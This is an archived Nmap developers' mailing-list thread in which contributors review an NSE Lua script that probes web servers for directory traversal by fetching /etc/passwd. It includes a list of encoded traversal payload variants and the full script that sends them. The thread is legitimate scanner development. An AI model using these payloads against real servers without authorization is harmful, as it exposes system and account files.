|
Nmap Development
mailing list archives
Re: [NSE Script] HTTP probe for /etc/passwd
From: Kris Katterjohn <katterjohn () gmail com>
Date: Fri, 20 Jul 2007 23:12:49 -0500
Brandon Enright wrote:
On Fri, 20 Jul 2007 20:00:27 -0500 plus or minus some time MadHat
Unspecific <madhat () unspecific com> wrote:
Kris Katterjohn wrote:
Hey everyone!
I attached HTTPpasswd.nse, which is a script to probe for /etc/passwd
through HTTP servers that are susceptible to directory traversal.
It's my first script that actually does something, so any comments are
welcome and appreciated.
Checking for a positive return code is not always useful. Custom 404
messages can produce 200 return codes in some configurations. It would
be better to check the response for a specific entry like "root:".
The exact same thing occurred to me as well. In addition to checking for a
200, you should check that at least one line matches the general format
of /etc/passwd. Something simple like "the first line has more than one
':'" would probably work just fine.
Also, while doing '../' x 10 is probably the canonical directory
transversal attack, there are many other useful techniques that yield the
same result.
Starting on page 264 of the book "Exploiting Software, How to Break
Code" (ISBN 0-201-78695-8) several alternate encoding techniques are
outlined.
You might want to try a few of these (mostly from the book):
.../../../etc/passwd
....????./../../etc/passwd
..\..\..\etc\passwd # works on many servers
..\/..\/..\/etc\/passwd
Of course, you should encode these in %XX format as well as leaving them as
ASCII bytes. Also, you might want to try Unicode. '.' is
0xC0AE, '/' is 0xC0AF, and '\' is 0xC19C.
Obviously it is a trade-off between speed and thorough checking so what you
have down already might be enough.
Thanks for the excellent contribution, I can't wait to test this.
Brandon
Thanks for the advice! And please test the new one out (attached) and
let me know if you have problems (or if you see anything else wrong with
this new one)
I added a few of your ideas, and separated it into functions. It's
really easy to add any other ideas now.
Thanks again,
Kris Katterjohn
-- HTTP probe for /etc/passwd
-- 07/20/2007
-- Started with Thomas Buchanan's HTTPAuth.nse as a base
-- Applied some suggestions from Brandon Enright, thanks man!
id = "HTTP /etc/passwd probe"
description = "Probe for /etc/passwd if server is susceptible to directory traversal"
author = "Kris Katterjohn <katterjohn () gmail com>"
license = "Look at Nmap's COPYING"
categories = {"intrusive"}
require "shortport"
-- Check for a valid HTTP return code, and (minimally) check
-- the supposed passwd file for validity
validate = function(response)
local passwd
local line
local start, stop
-- Hopefully checking for only 200 won't bite me in the ass, but
-- it's the only one that makes sense and I haven't seen it fail
if string.match(response, "HTTP/1.[01] 200") then
start, stop = string.find(response, "\r\n\r\n")
passwd = string.sub(response, stop+1)
else
return
end
start, stop = string.find(passwd, "[\r\n]")
line = string.sub(passwd, 1, stop)
if string.match(line, "^[^:]+:.*:") then
return passwd
end
return
end
-- Connects to host:port, send cmd, and returns the (hopefully valid) response
talk = function(host, port, cmd)
local socket
local response
socket = nmap.new_socket()
socket:connect(host, port)
socket:send(cmd)
response = ""
while true do
local status, lines = socket:receive_lines(1)
if not status then
break
end
response = response .. lines
end
socket:close()
return validate(response)
end
portrule = shortport.port_or_service({80, 8080}, "http")
action = function(host, port)
local cmd, response
-- /etc/passwd ...I can hope, can't I? :)
cmd = "GET %2Fetc%2Fpasswd HTTP/1.0\r\n\r\n"
response = talk(host.ip, port.number, cmd)
if response then
return response
end
-- ../../../../../../../../../../etc/passwd
cmd = "GET " .. string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd HTTP/1.0\r\n\r\n"
response = talk(host.ip, port.number, cmd)
if response then
return response
end
-- .../../../../../../../../../../etc/passwd
cmd = "GET %2E" .. string.rep("%2E%2E%2F", 10) .. "etc%2Fpasswd HTTP/1.0\r\n\r\n"
response = talk(host.ip, port.number, cmd)
if response then
return response
end
-- ..\..\..\..\..\..\..\..\..\..\etc\passwd
cmd = "GET " .. string.rep("%2E%2E%5C", 10) .. "etc%5Cpasswd HTTP/1.0\r\n\r\n"
response = talk(host.ip, port.number, cmd)
if response then
return response
end
return
end
_______________________________________________
Sent through the nmap-dev mailing list
http://cgi.insecure.org/mailman/listinfo/nmap-dev
Archived at http://SecLists.Org
By Date
By Thread
Current thread:
|